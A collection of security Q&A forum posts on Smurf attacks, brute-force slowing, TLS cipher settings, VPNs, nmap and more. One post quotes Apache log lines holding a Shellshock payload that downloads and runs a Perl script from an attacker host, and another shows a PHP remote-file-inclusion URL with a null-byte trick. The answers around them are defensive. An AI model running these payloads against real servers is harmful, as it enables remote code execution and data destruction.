Must an attacker using a Smurf attack be on the same network as the victim? I'm learning about Smurf Attacks. Since they need to use a broadcast address, doesn't that mean they can't work over the internet? For example if an attacker sends a router the packet with the destination the broadcast attack that works, but routers don't normally broadcast passed the network edge.

But then how does a Smurf Amplifier work if they don't have to be on the same network? I'm confused.

Smurf attacks were popular in 19th , however there a few devices that are still vulnerable to this attack.
Smurf attacks are not only possible in a LAN, but work over WAN too. It depend upon the configuration of your routing devices.All the websites, VPS, and public gateways do have a public IP. So, if you can generate large numbers of ICMP packets with the intended victim's spoofed source IP and then broadcast to a computer network using an IP Broadcast address, then they will be flooded.

  This means if a router with a public IP allows to respond to ICMP or
  allow to forward packet to broadcast IP, then it can lead to a DoS
  over all other host who are assigned the router as the gateway.

Protections against it are:

Configure individual hosts and routers to not respond to ICMP
requests or broadcasts; or
Configure routers to not forward packets directed to broadcast
addresses

Until 1999, standards required routers to forward such packets by default. Since then, the default standard was changed to not forward such packets.

You can find current top ten smurf amplifiers facing this attack

  http://smurf.powertech.no


Can I slow down a brute force attack by encoding password input data? I'm building a php login form with only a username & password as $_POST data. But before submitting the form, a JS function check() will base64_encode the password input, then finally submits the form like this: (the customized base64_enc function is a little bit more advance than just a base64 encode)

function check() {
   var pwd = $_get_by_id('loginPw').value;
   $_get_by_id('loginPw').value = base64_enc(pwd);
   $_get_by_id('loginFrm').submit();
}

Of course, beside that, I know we have pleinty of security things to prevent the brute force (session id, csrf token, captcha, tempo ban...).

But I wonder if, at this point, this simple javascript trick could slow down an attack ? (Even the attacker must generate another processed version of his/her dictionaries)

For example if hydra tool can process each line of wordlist before running a thread (with a shell code version of what we have in the javascript check() fn)

Can I slow down a brute force attack by encoding password input data?

Yes, you can artificially slow down a brute-force attack by having the client perform an expensive task for each login attempt. This concept is called a proof of work. It's a well-known approach to fight mass spam and technically you could also apply it to authentication systems on the web.

However, your concrete proposal wouldn't qualify as a proof-of-work protocol. That's because base64 isn't expensive at all and requires an equal amount of work for the client to generate as it does for the server to verify. Also, an attacker could reuse the encoded passwords as often as they like without having to recompute them, e.g. to attack other accounts.

For a real proof-of-work implementation, you could e.g. build a challenge-response scheme and require the user to perform expensive hash computations on each login attempt. The challenge could be to partially invert a hash: You provide a random sequence and challenge the user to generate a SHA-256 hash ending with that very sequence. Increasing the length of the sequence requires exponentially more hash computations by the client but verifying the results is always just a string comparison.

The project "proof-of-work-login" is one of the few real-life examples I found that pick up the idea of using a POW for logins. (I can't comment on the quality of the implementation though.) From the description:

  A client side SHA256 hash must be calculated before allowing a login. This limits bruteforce login attacks in environments where you can't ban by IP like Hidden Services.

Nevertheless, you should bear in mind that for web applications there are simpler means to obstruct brute-force attacks such as CAPTCHAs, limiting login attempts per account,  blacklisting IPs, etc.


my iphone 6 S keeps getting this s3.amazonnaws site pop up Today I was on the Walmart site and then 10 seconds later out of nowhere it redirected me to a amazonnaws site and it said,

  'MESSAGE! Congratulations insert internet provider here user, you
  have been chosen for a chance to get a new Iphone 7, Macbook Pro or
  Ipad. Click OK to continue.'

I close the Google app and reinstalled the app. The reinstall didn't help. I tried restarting my phone and then after a few minutes it happened again.

Does my iPhone 6S have a virus or anything cause it keeps on doing it and it's really annoying. What should I do? By the way, I used the Google app when it happened.

s3.amazonnaws is not a valid site (domain name) so it would be helpful if you let us know exactly what you are seeing. A screenshot would be useful.

s3.amazonaws.com (S3 Amazon AWS) is a valid domain owned by Amazon and from which many files can be served since it is the service Amazon provide to people to store and serve files.

You will need to provide further information for us to work out exactly what is happening but it seems at first look to be that the website has some annoying advertising on it that is popping up the image. Make sure that you close the page in the Google app completely so the ad is not re-triggered.

Since you are using an iPhone 6S, you should be able to install an ad-blocker and I strongly advise you to do so in order to avoid such issues.

I also advise installing ad-blockers for all browsers since there are too many rogue adverts around capable of installing malware


Suricata bypass keyword I have not found any examples on using the 'bypass' keyword.
Does it work in any rule? Are there performance implications using 'bypass'.
For example, would this bypass all tcp traffic?
alert tcp any any <> any any (msg:"Allow all TCP"; bypass; sid:9900001; rev:1;)

Are there performance implications using 'bypass'.

Since it makes sure that no more packets of the flow get analyzed it has obvious performance advantages. See the article "Suricata bypass feature" for some impressing numbers.

  Does it work in any rule?

Since it changes the future behavior of a flow it makes sense only in rules which match parts of a flow, i.e. usually TCP and UDP.

  For example, would this bypass all tcp traffic?  ...

It likely would but it would not be the best option to bypass all TCP traffic. It might be better (faster) to make Suricata ignore this traffic in the first place. See Ignoring Traffic in the documentation.


Organizing scheduled vulnerability scans I am wondering what others do in regards to setting up their enterprise scheduled vulnerability scan policies. For example do you prefer to create a single scan policy and scan all networks regardless of the hosts platforms (windows, linux, SQL Server, Oracle, Apache, IIS, etc.) or do you end up creating multiple scan policies with just the checks enabled for that OS, database, web server, etc? The latter seems like it would be a better choice for performance and for customizing the settings for the target platform however I think it would be difficult to ensure scan coverage and to maintain the policies as hosts are added, changed, or removed. It also adds a step at the end of merging the scan results back together from multiple policies for reporting.

I am using Nessus and currently I have a single policy that is configured to scan multiple /24's with most plugins enabled and credentials for the Windows and Linux hosts to perform authenticated scans. These scans are configured to run monthly and I generally create one off scan policies for ad-hoc requests. This works okay but I am wondering what tips & opinions others may have.

Thanks!

Nessus and other vulnerability scans will only scan using applicable packages, dependent on what ports and applications are found per host during discovery. Nessus isn't going to run a web vulnerability scan against a db process, nor will it run a windows scan against a linux server, so tailoring your scans to specific DBs and software packages is a waste of your time.

Also, one of the benefits of running vulnerability scanners on your systems is to discover things that you don't know are there. If you limit a scan to what should be there as opposed to what could be there you may miss all sorts of important things. If you scan a db server with only db related packages you could miss the gaming server that has been installed on it against policy for example.

So your best policy would be to scan everything, using every non-disruptive test. Limiting your scans wastes your time, and may make you miss something important.


Nmap shows different results when connected to VPN I am trying to determine why nmap would show different results when I am connected to a VPN service.
When I am connected to Nord VPN, it shows two additional ports which do not seem to be open.
No VPN
root@localhost:~# nmap dewalt.com
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-24 02:08 UTC
Nmap scan report for dewalt.com (23.10.143.98)
Host is up (0.0018s latency).
rDNS record for 23.10.143.98: a23-10-143-98.deploy.static.akamaitechnologies.com
Not shown: 998 filtered ports
PORT    STATE SERVICE
80/tcp  open  http
443/tcp open  https

Nmap done: 1 IP address (1 host up) scanned in 4.82 seconds

Connected to Nord VPN
root@localhost:~# nordvpn connect
Connecting to United States #6733 (us6733.nordvpn.com)
You are connected to United States #6733 (us6733.nordvpn.com)!

root@localhost:~# nmap dewalt.com
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-24 02:10 UTC
Nmap scan report for dewalt.com (104.95.44.203)
Host is up (0.037s latency).
rDNS record for 104.95.44.203: a104-95-44-203.deploy.static.akamaitechnologies.com
Not shown: 996 filtered ports
PORT     STATE SERVICE
80/tcp   open  http
443/tcp  open  https
5060/tcp open  sip
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 6.11 seconds

Nmap scan report for dewalt.com (23.10.143.98)
...
Nmap scan report for dewalt.com (104.95.44.203)

Looks like you are scanning different systems here (look at the IP address).
Probably the DNS for the domain is setup in a way to return different IP address depending on where the requests comes from, so that the user gets its "nearest" system for best connectivity. And these can all be systems with different setups.


How do a VPNs route SSL traffic and do they compromise security? If my understanding of how VPNs operate is correct, all traffic between me and the Internet at-large is routed through the VPN's servers. So an attacker would only be able to see encrypted traffic between the VPN and me and wouldn't be privy of its content nor its true  destination. The destination wouldn't be able to see where the request originally came from (ie: me) either. Am I right so far?

So when SSL comes in play here, how does it all work? Suppose I am going to Gmail via the VPN. Since the VPN connects to Gmail on my behalf (and vice versa), wouldn't they need to decrypt communications between Gmail and my computer, and re-encrypt them again to send to both ends? If that's the case:

obviously, wouldn't this mean the VPN can see all plaintext communications?
and if the above is true, wouldn't it be a MITM attack?
and if the above is true, and I haven't installed any new trusted root certificates, why doesn't my browser alert me?

The question is about VPNs in general, but I am using OpenVPN.

The VPN forwards data packets indiscriminately. When you do SSL with Gmail's server, then the SSL connection actually consists of data "records" (described in the SSL/TLS standard) which are sent over a TCP connection between your machine and Gmail's server. That TCP connection, in turn, is embodied as a lot of individual IP packets.

With a VPN, all the IP packets that you emit go to the VPN server; and all IP packets which are sent back by Gmail's server go to the VPN server. The VPN server forwards these IP packets by encoding them into the tunnel that it maintains with your machine. So the IP packets (that encode a TCP connection that contains the SSL connection with Gmail's server) are encoded into the tunnel and thus encrypted again. There are two nested layers of encryption, the SSL connection between your machine and Gmail's server, and above that the connection (which may be some SSL, too) between your machine and the VPN server. The VPN server removes and adds the external layer, but the internal layer remains opaque to that server.

The VPN server is, generally speaking, in an ideal position to run a MitM attack on you, since it controls all the data which enters and exits your machine; but the SSL layer (the one between your machine and Gmail's server) protects you against all attackers on the path between your machine and Gmail's server, and that includes the VPN server.


Ways to completely spoof browser user agent and hiding OS to a webserver This is a follow-up  to the following question: Can a website determine what OS or web browser a visitor is using if the useragent is blanked/changed?
If I have understood the answers correctly, a website can't determine what OS the user is using if he's running NoScript, so that no Java applets or Javascripts gets executed. The user can still get infected if the exploit-kit is blind-exploiting exploits for several OSs. My follow-up question is the following:
Can you spoof the navigator.oscpu "variable", so that even if the user is having javascript enabled (with or without NoScript), the site gets the wrong information on what OS the user is running? Check  this site about the navigator.oscpu: http://www.quirksmode.org/js/detect.html . Assume that the user haven't got Java installed, only javascript enabled.
If the variable is spoofable, would this be enough to escape from most vulnerability-attacks? What other methods can a website use to determine what OS a user is using, except Java applets, javascript and user-agent?
Thanks in advance!

Since you're talking about navigator.oscpu, I assume that you're talking about Firefox, because it's the only browser that supports this property.

You can easily spoof the value of navigator.oscpu via the general.oscpu.override preference:

Visit about:config.
Create a new string called general.oscpu.override
Set whatever value you want.

This is not the only way to detect that you're running on Firefox on Windows. There are several Mozilla-specific CSS media queries that can be used to detect whether you're running on Windows, including but not limited to -moz-os-version (Firefox 25+) and -moz-window-theme (Firefox 4+).

Browser plug-ins (such as Flash) can also be used to identify your OS. Either directly (by embedding the plugin) or indirectly, by looping through the navigator.plugins collection, while reading the file names of the plug-ins. To identify Windows, for example, just check whether any of the strings end with .dll. Here's an example that prints the list of filenames: http://jsfiddle.net/A8srr/show.
Note that this issue is going to be resolved in Firefox 28 by making navigator.plugins non-enumerable, see https://bugzilla.mozilla.org/show_bug.cgi?id=757726.

Although you can try to manually fix all properties of navigator (see my recent example for example on spoofing a property of navigator in a user script), do not rely on it for "protecting" your system.

If you want to guard your system against attacks from the web platform, use a virtual machine for browsing the internet (if you're on Windows, you can also try to use Sandboxie, because it integrates better than a separate VM).


What is the exact difference between regular OCSP and OCSP stapling? What is the exact difference between the Online Certificate Status Protocol (OCSP) and OCSP stapling, which seems to be "...an alternative approach to the Online Certificate Status Protocol (OCSP)"?

OCSP stapling is more efficient than regular OCSP and provides better privacy.

The OCSP protocol is used to determine if a certificate is still valid or has been revoked. Say, you want to securely connect to a website via TLS. To be certain that the certificate has not been revoked or expired, your browser can issue an OCSP request to the corresponding certificate authority. After receiving a signed confirmation of the certificate's validity, you then continue with the TLS handshake.

This process has some downsides: Contacting the CA costs time and slows down your browsing experience. It may also create high traffic volume for the CA, discloses to the CA which website you're visiting and you always have to rely on the availability of the OCSP responder since otherwise no confirmation is possible - and you would have to decide between accepting the certificate despite  a lack of confirmation or abort the connection. For these reasons Google Chrome has dropped support for regular OCSP.

OCSP stapling avoids these problems by having the server issue the OCSP queries periodically itself. Instead of making the user perform the validity check, the web server would present you the OCSP response during the TLS handshake. It is not a security problem that the server performs the OCSP query itself as the response has been signed by the CA and includes a timestamp, thus preventing tampering. Since the server caches the response, the CAs aren't flooded with OCSP requests anymore and as a user you don't need to contact a third party to have a certificate verified which benefits your privacy.


Can second internal hard disk cause infection after reinstall? Lets say I have two internal hard disks, one for the operating system the other for backups. If i make sure to delete the MBR and partition table with dd if=/dev/zero of=/dev/sda bs=512 count=2048 of the disk with the operating system to avoid the possibility of a boot sector virus.

If I reinstall in what ways can that second hard disk be used to cause an infection of the primary disk with the operating system?

I was reading thata boot sector viruses can even spread to other hard drives you have installed or physical media you have plugged into your system.

So what impact can a boot sector virus on a backup drive have on on the primary drive? And any other threats I may have missed? I guess it could effect USB sticks plugged in?

Short answer: no.

Long answer: Always take extra precautions.

Boot sector virus only works if you boot up from that particular infected hard drive.
If you boot up from the primary drive with Antivirus software, it may detect the secondary hard drive boot sector virus but nothing to worry about.

Nevertheless, to prevent accidentally boot up ANY of the infected drive/media, you should disable the computer BIOS/UEFI option that allows one to select alternate Boot media during computer boot up/power up. Password protect your computer BIOS/UEFI if the computer is also accessible by others.


Is there a way to uniquely identify a mobile device through packet sniffing? I need to uniquely identify a mobile device using the "ping" packets that it transmits to cellular towers regularly, in an area of interest by installing a packet sniffer at that location? I only need to identify the device real time, and not store the data somewhere for later use. Is that possible, and what are the circumstances under which that would become unlawful to do?

Mobile devices work across many channels, often in completely different frequency bands depending on the provider.  So, even if you did have a device that could listen to traffic and watch for the IMSI/TMSI (IMSI is rarely ever broadcast, you can watch for TMSI which is a quasi-unique ID) it would need to operate across all the hundreds of viable channels, or else you are going to have to spend hours just doing one sweep (assuming your device is limited to one channel), in which time many devices will have probably arrived/left.  The practical (note this does not mean legal) way is to impersonate a base station and wait for the devices to come to you.  That is what IMSI catchers do, basically a MITM attack to get all nearby devices to admit who they are, because they think that your device is a nearby cell tower.

Here is a similar question on SE: https://networkengineering.stackexchange.com/questions/18070/detecting-2g-3g-4g-devices and here is an article about the lengths one needs to go to in order to just intercept ONE devices' IMSI without impersonating a base station: http://www.rtl-sdr.com/rtl-sdr-cell-phone-imsi-tmsi-key-sniffer/


If I send an email over SSL, will it always be transmitted over SSL? This is largely a question of how MTAs and different components communicate.

I'm curious that if I send an email using SMTP over SSL to my MTA, can it's next jump to the next MTA or MDA be insecure?

I'm guessing there's no guarantee after it's out of my communication channel, just want to make sure.

You can't be sure that SSL will be used all the way, because there's no specification requiring that. When the email was designed, long time ago, no one bothered about encrypting the connection between the sender and the receiver, including any point that transmitted the email. So, to comply with email specifications, no one needs to encrypt it using SSL, and you can't assume it will be encrypted.


What would be a secure way to handle password prompts in shell? I have a script that a member of our L1 team will run on a linux server (ssh'ed in - non root) that will take in their password and pass it to kinit via an embedded expect script (which ultimately talks to our authentication Kerberos KDCs) for the sake of running a ready for business check.

A consideration was to use getpass2 python but that's not available inhouse. A possible solution exists via a shell script using:

read -s -p "Password for $USER: " PASS

I've read through this blog. The author claims

  Between the prompt and the shell execution, the password is in cleartext
  .

Are there steps to take to mitigate this?

I realize the password is in cleartext in RAM as well - but this is a separate issue for now.

You assume (as do a lot of people whom should know better) that when you input a password there is some some magic mojo protecting its cleartext in the program. If you can assure the integrity of the program reading the password and it does not deliberately persist or export the cleartext, then it will not be accessible to other programs.

A script is slightly easier to compromise than a binary program assuming that the attacker has root level access to the filesystem - but at that point its already pretty much game-over. There is an argument that if the program is swapped out of memory, then the cleartext will persist on the swap space - but that is almost the same problem as protecting the RAM (you shouldn't be using remote storage for swap anyway).

Update
Sergey's answer appears to address what you do with the password after you have captured the cleartext (although its not very clear). But if you are using a shell builtin to inject the password into the target program it will not appear in the output of 'ps'


Should I publish my public SSH key with user@hostname at the end? In ~/.ssh/id_rsa.pub my public key is stored as:

  ssh-rsa magicmagicmagicmagic...magicmagic username@hostname

When publishing my public key, should I include the username@hostname bit? Can I replace it with something else? My concerns are that:

I may want to change the label for vanity purposes (super@wishihadbetterhostname) - but I don't want to mess things up by doing this (for example, if a common tool assumes this convention is upheld)
I'm concerned that I'm making it that much easier to get onto my machine by giving away my username and hostname!

The user@hostname part is just a comment, you can set your own comment by using the -C option or for existing keys change it with -c (http://man7.org/linux/man-pages/man1/ssh-keygen.1.html) changing it will not affect your key, so yes, you can change it to superduperuser@somfancehostname.

Snippet for these ssh-keygen options:

 -C comment
         Provides a new comment.

 -c      Requests changing the comment in the private and public key
         files.  This operation is only supported for RSA1 keys.  The
         program will prompt for the file containing the private keys,
         for the passphrase if the key has one, and for the new comment.

For instance,

You'd simply do ssh-keygen -C thebiglebowski@thedude.com and that results in the following:


Does installing undercover (macbook theft software) increase risk of attack, privacy breach http://orbicule.com/undercover/mac/

I stumbled upon this page today and am intrigued by the service, it offers a lot of features that I have been interested in since my last computer was stolen in a burglary. Based on the information provided there, or through personal experience, is there any assurance that this software running on a macbook will

a) not be exploited by the company that provides the service

b) not make it easier for a third party to compromise my computer.

Thanks.

The vendor getting a bunch of certification means they are trying very hard to improve perception. But if you don't trust the vendor, all other discussion is moot.

Even if you do trust the vendor, consider the following:

This sort of software will get privileged access to various parts of your system. Even if the vendor has the best intentions, their own software can be compromised, indirectly letting an attacker access your system. Even if the vendor is honest, a third party can abuse an exploit in the vendors software to get to you. Since it adds a new attack vector, it can be considered to be increase the risk.
It could very well increase the likelihood of a privacy breach. Consider, as an example, that many antivirus companies trade user data. Some, like Avast are open about it. But as recent news indicates, companies cannot be trusted to disclose everything that they do with user data. So assume that you just won't know if there is a privacy breach.
Your trust in them is (should be) based on their current policy. They can change policy/strategy if it suits their business interests. There's also no guarantee (independent audit with complete access to the vendor's systems, etc.) that they actually follow their own policy. You don't even know if the whole company actually believes/practices the policy.

The bottomline is that yes, it increases both the security risk and privacy risk. But the important thing to understand is it is a tradeoff. When you access most webservices you trade personal data for it, when you hire a security guard, you give the guard privileged access which can be abused.

Lastly, consider what you really need this software for - to protect your hardware in case of theft. There's no guarantee that this will actually help you recover a stolen laptop. Thus, you can choose to do only one of the following - increase the odds of recovering your device in the event of theft, or increase the odds of your privacy being violated and your system compromised. So you need to compare the relative value of 1) the hardware and 2) the user data on it.


EMET disable DEP on IE for specific site I'm a new user of EMET. I wanted to know if there is anyway to avoid DEP on IE for a specific site.

I want to do this because I use VMware remote server and when I start a remote console, EMET starts blocking iexplore (because of DEP attack) and the console doesn't work well. If I close the IE tab, EMET stops throwing errors, but I wish I didn't have to.

No. DEP is enforced process-wide, and you can't switch it off for just one site.

There are two ways around this:

Turn off DEP enforcement in the EMET policy for iexplore.exe
Manually patch the DEP flag into whatever VMware component is being loaded, using a tool such as CFF Explorer (Optional Header -> DllCharacteristics -> Image is NX compatible) so that it is marked as DEP enabled and works alongside EMET.

You should file a bug with VMware about this, as they shouldn't be producing non-NX binaries.


Security concerns from publicly visible Hudson & Jenkins servers? A friend's start-up has implemented a number of business critical services on a Hudson/Jenkins server run on a Tomcat container. This is not an open-source project, in fact many aspects of this project are confidential. Jenkins is used primarily as a means of running batches & gthering results from those batches.

To some-extent the system has been locked down, for example a plugin has been installed which is intended to block brute-force password guessing attacks. The Jenkins system has been configured to the only thing you can see before you log-in is a login screen, hence these users can re-configure or run anything on the Jenkins server.

The question: Does this system pose any significant security threat to the business? Have we taken all the relevant, reasonable security measures.

For example, it's possible that some kind of as-yet unknown vulnerability in the stack might become the basis of an exploit, but how concerned should we be about a risk which is at best unquantifiable, at worst only theoretical?

You need to take measures like :

A firewall to make sure only the ports that are needed to be accessible are
Whitelist rather than blacklist (meaning, deny access from all and just give access to whatever actually needs access)
Should it be accessible from the internet ? (Is a VPN maybe enough)
...

And there might always be an exploit, the problem with exploits is you never know when someone will find a hole in your system. And you can not grade how concerned you should be unless you take a look at the source code and design of the service. When you see it is has poor validation or bad design, you know you have to be alarmed, if it is well-designed ,well-coded and there is decent validation, you can be less concerned. But there is always a possibility that it might happen.

Your question is quite broad on one hand and very localized on the other.


Recommended ssl_ciphers for security, compatibility - Perfect Forward secrecy I'm currently using nginx with the following ciphers:

ssl_ciphers HIGH:!aNULL:!eNULL:!LOW:!ADH:!RC4:!3DES:!MD5:!EXP:!PSK:!SRP:!DSS;

I would like to maintain compatibility to older browsers, especially also older mobile browsers and therefore not completely disallow SHA1.

How can I achieve that SHA256 is preferred over SHA1 for MAC (Message Authentication Code
) and always used when possible.

I can i.e. force SHA256 to be applied by adding SHA256:!SHA: to my ssl_ciphers string but this would also disallow SHA1 completely.

With the ssl_cipher at the beginning it tends however to just use SHA1. Any recommendations?

Update 29.12.2014

Thanks everybody for the constructive inputs and discussion.

Even though I still think that the Mozilla page on Server side TLS overall covers the topic quite good - I would only recommend the Modern compatibility with the limitation that the DSS ciphers should be removed from it and explicitly disallowed (!DSS) as recommended in the comment by Anti-weakpasswords - thanks for spotting it.

ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:kEDH+AESGCM:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-RSA-AES256-SHA256:DHE-RSA-AES256-SHA:!aNULL:!eNULL:!EXPORT:!DSS:!DES:!RC4:!3DES:!MD5:!PSK

Interestingly ssllabs did not alert or down rate for this...

Further I prefer to use custom generated diffie hellman parameters. Even though the standard ones are obviously considered safe. What are the OpenSSL standard Diffie Hellmann parameters (primes)?

openssl dhparam -check -out /etc/ssl/private/dhparams.pem 2048

increase that to 4096 for paranoia and fun if you like.

First, let's go over how cipher suite negotiation works, very briefly.  For example, we can use the TLS 1.2 document RFC 5246 starting at section 7.4.1.2 to see, in the short short form:

ClientHello: The client tells the server which cipher suites the client supports
Now the server picks one

I'll discuss how to control which one it picks next!

ServerHello: The server tells the client which cipher suite it has chosen, or gives the client a failure message.

Now, as to the actual selection.  I've used the nginx ssl module documentation, the Qualys 2013 article on Configuring Apache, Nginx, and OpenSSL for Forward Secrecy, and the Hynek Hardening Your Web Server’s SSL Ciphers article for reference.  The latter two cover both Apache and Nginx (as both use OpenSSL as a base).

Essentially, you need to tell Nginx to use the order you select, and you need to select an order.  To see what the results of that order would be, you can use the OpenSSL command line, e.g.

openssl ciphers -v 'EECDH+ECDSA+AESGCM:EECDH+aRSA+AESGCM:EECDH+ECDSA+SHA256:EECDH+aRSA+SHA256:EECDH+ECDSA+SHA384:EECDH+ECDSA+SHA256:EECDH+aRSA+SHA384:EDH+aRSA+AESGCM:EDH+aRSA+SHA256:EDH+aRSA:EECDH:!aNULL:!eNULL:!MEDIUM:!LOW:!3DES:!MD5:!EXP:!PSK:!SRP:!DSS:!RC4:!SEED'

NOTE: You may want to remove :!3DES from that string; 3-key triple-DES isn't efficient, but it is still secure in and of itself to more or less 112 bits of security, and is very, very common.

Use the above command to determine which cipher suites will be most preferred and least preferred in your configuration, and change it until you like the results.  The references I've given have their own strings; I amended it slightly to get the above example (removing RC4 and SEED, and putting every TLS 1.2 cipher suite above any 'SSLv3' cipher suite, for example).

Then, for Nginx in particular, you would alter your configuration file to include something like:

ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
ssl_prefer_server_ciphers on;
ssl_ciphers "EECDH+ECDSA+AESGCM:EECDH+aRSA+AESGCM:EECDH+ECDSA+SHA256:EECDH+aRSA+SHA256:EECDH+ECDSA+SHA384:EECDH+ECDSA+SHA256:EECDH+aRSA+SHA384:EDH+aRSA+AESGCM:EDH+aRSA+SHA256:EDH+aRSA:EECDH:!aNULL:!eNULL:!MEDIUM:!LOW:!3DES:!MD5:!EXP:!PSK:!SRP:!DSS:!RC4:!SEED";

Add in SSLv3 to ssl_protocols if you really insist on it.

The ssl_prefer_server_ciphers will inform nginx to use the order we specify, and ignore the order the client presents their cipher list in.  Now, if the only shared cipher suite between the ClientHello and the list OpenSSL ciphers -v ... gives is our least preferred cipher, that's of course what nginx will use.  If nothing matches, then we send the client a failure notice.

The ssl_ciphers command is the meat of the choice, here, as nginx will inform OpenSSL of our preferred cipher suite list.  Please, please use the openssl ciphers -v command to see the results you get on your platform.  Ideally, check it again after changing OpenSSL versions.

Also, please read Scott Helme's article on Setting up HSTS (HTTP Strict Transport Security) in nginx, which will allows a host to enforce the use of HTTPS on the client side.  Be sure to include the HSTS header inside the http block with the ssl listen statement.

Edited to add: At least after this (if not before also), go to Qualys SSL Labs to see HTTPS security information and to Test Your Server that's been kept pretty well up to date for the last few years.  Recommendations change regularly, and sometimes even frequently reverse themselves (RC4, for example, what nearly whiplash inducing).  You can also even Test Your Browser!


Fido U2F Public keys in registration response What is the deference between the two public keys:

user public key (2nd element in Token response)
user public key inside signature

in U2F Token response for registration ?

They're the same. Note that signature doesn't contain the data shown in grey - rather, it's a signature of that data.


Need to make secure apache while using cgi script in browser My apache server has cgi module enabled because we need to execute cgi scripts in browser. We have enabled suExec module of apache which allows to execute cgi script as a particular user, In our case that user is ubuntu and co-incidently it is also a sudo user but we do not use any sudo commands in our cgi scripts neither we have manipulated sudoers file for this purpose. It is default file since the beginning.

The cgi scripts which we use are in /usr/lib/cgi-bin directory whose owner is ubuntu. The htdocs directory is /var/www/html where all web projects are placed. The owner of this directory is also ubuntu because our cgi scripts create and update files in these project directories and if owner of project directories is not ubuntu then we can not write into these directories using cgi scripts.

This is the scenario we were using since long time without facing any trouble until last week. An attack came into lime light when an attacker removed web projects of /var/www/html using a cgi script.

I got this entry in access log.

    [02/Mar/2017:03:36:20 +0530] "GET /cgi-bin/test.cgi HTTP/1.1" 200 12786 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://attackerssite.com/perlscript.tgz -O /tmp/perlscript.tgz;curl -O /tmp/perlscript.tgz http://attackerssite.com/perlscript.tgz;perl /tmp/perlscript.tgz ; rm -f /tmp/perlscript.tgz* \");'"

I have this perl file(perlscript.tgz), it has 988 lines, I am not sure what it does but I am quite sure, it has done the damage because project urls in log file was not 404 before this entry and after this, all project urls  were 404.

This was not the only entry. Before it, Attacker tried with multiple unsuccessful attempts. Here are the unsuccessful attempt log.

 [02/Mar/2017:03:36:35 +0530] "GET /cgi-bin/script.pl HTTP/1.1" 404 381 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://attackerssite.com/perlscript.tgz -O /tmp/perlscript.tgz;curl -O /tmp/perlscript.tgz http://attackerssite.com/perlscript.tgz;perl /tmp/perlscript.tgz ; rm -f /tmp/perlscript.tgz* \");'"

 [02/Mar/2017:03:36:35 +0530] "GET /cgi-bin/test-bin.pl HTTP/1.1" 404 381 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://attackerssite.com/perlscript.tgz -O /tmp/perlscript.tgz;curl -O /tmp/perlscript.tgz http://attackerssite.com/perlscript.tgz;perl /tmp/perlscript.tgz ; rm -f /tmp/perlscript.tgz* \");'"

 [02/Mar/2017:03:36:35 +0530] "GET /cgi-bin/test-cgi.pl HTTP/1.1" 404 381 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://attackerssite.com/perlscript.tgz -O /tmp/perlscript.tgz;curl -O /tmp/perlscript.tgz http://attackerssite.com/perlscript.tgz;perl /tmp/perlscript.tgz ; rm -f /tmp/perlscript.tgz* \");'"

These were all unsuccessful attempts, almost hundreds but all were 404. Successful attempt returned with 200 status and it destroyed everything.

Can you please explain how attacker reached to the project directories and removed them, and most importantly, what should I do now to make my system robust against these attacks in future?

we need to execute cgi scripts in browser.

Erm, no. CGI scripts execute on the server.

  In our case that user

You are using suexec for privilege seperation for a single user? That's really...unusual?

  In our case that user is ubuntu

Erk! And presumably this is an Ubuntu box. I guess you really must have a very good reason for doing this.

  The owner of [the document root] directory is also ubuntu

Oh dear. I don't think you've thought this through very well.

  if owner of project directories is not ubuntu then we can not write into these directories using cgi scripts.

You might want to spend some time reading the excellent documentation. You can write to these directories with other users (or have them owned by other users and accessible to reads (or reads) by your cgi-bin user.

As Steffen says, they likely got in using Shellshock, but once inside they had the run of your server. You can patch the shellshock vuln. but what you have described here is a catalog of bad design. If this attack was anything more than the most trivial of bots then the attackers will already have installed other backdoors.

Transforming what you have described here into something secure is going to take more than a few posts and answers on stack overflow sites.

As an absolute minimum:

Nuke your server from low orbit
Rebuild from a backup predating the attack (do not connect to internet)
Patch your server and work out a way of keeping it up to date
Install a host based IDS and learn how to use it
Seperate out the control channel for your content and run it in a captive portal
Use a uid other than ubuntu for executing your cgi scripts
Ensure this user only has write access where it absolutely needs it to do its job
Learn how to configure unix permissions, suexec and umask then come up with a better permissions model
For preference, run the webserver in an apparmor sandbox
Apply the model before you plug back into the internet


Can an XXE (XML External Entity) attack be carried out from within an SVG file? Since SVG is built heavily if not entirely on XML, can one of the attacks that can be carried out through XML such as XXE injection be carried out from an SVG file?

XXE vulnerabilities are all to do with the parser. If the parser that processes the SVG file grabs external entities without verification, then it is vulnerable.

For an example, see this vulnerability in an Apache library.


PHP null byte include failing explation seeked I am watching a tutorial on YouTube about how to include remote files or local through a standard include command.

Here is the code:

<?php

if(isset($_GET["language"])) {
    $language = $_GET["language"];
    include($language."gif");
}

?>

I got this on a local webserver (WAMP) and I do the tutorial tells me to do.

localhost/inctest/index.php?language=http://www.example.com/badcode.php%00

  Warning: include(): Failed opening
  'http://www.example.com/badcode.php' for inclusion
  (include_path='.;C:\php\pear') in C:\wamp\www\inctest\index.php on
  line 5

my PHP.ini:

allow_url_include = On

I removed my own domain and renamed it to example.com.

What did I miss out on?

Null Byte Poisoning is pretty old vulnerability, which has been already fixed since 5.3.4 PHP-version.
Release Announcement:

Paths with NULL in them (foo\0bar.txt) are now considered as invalid (CVE-2006-7243).

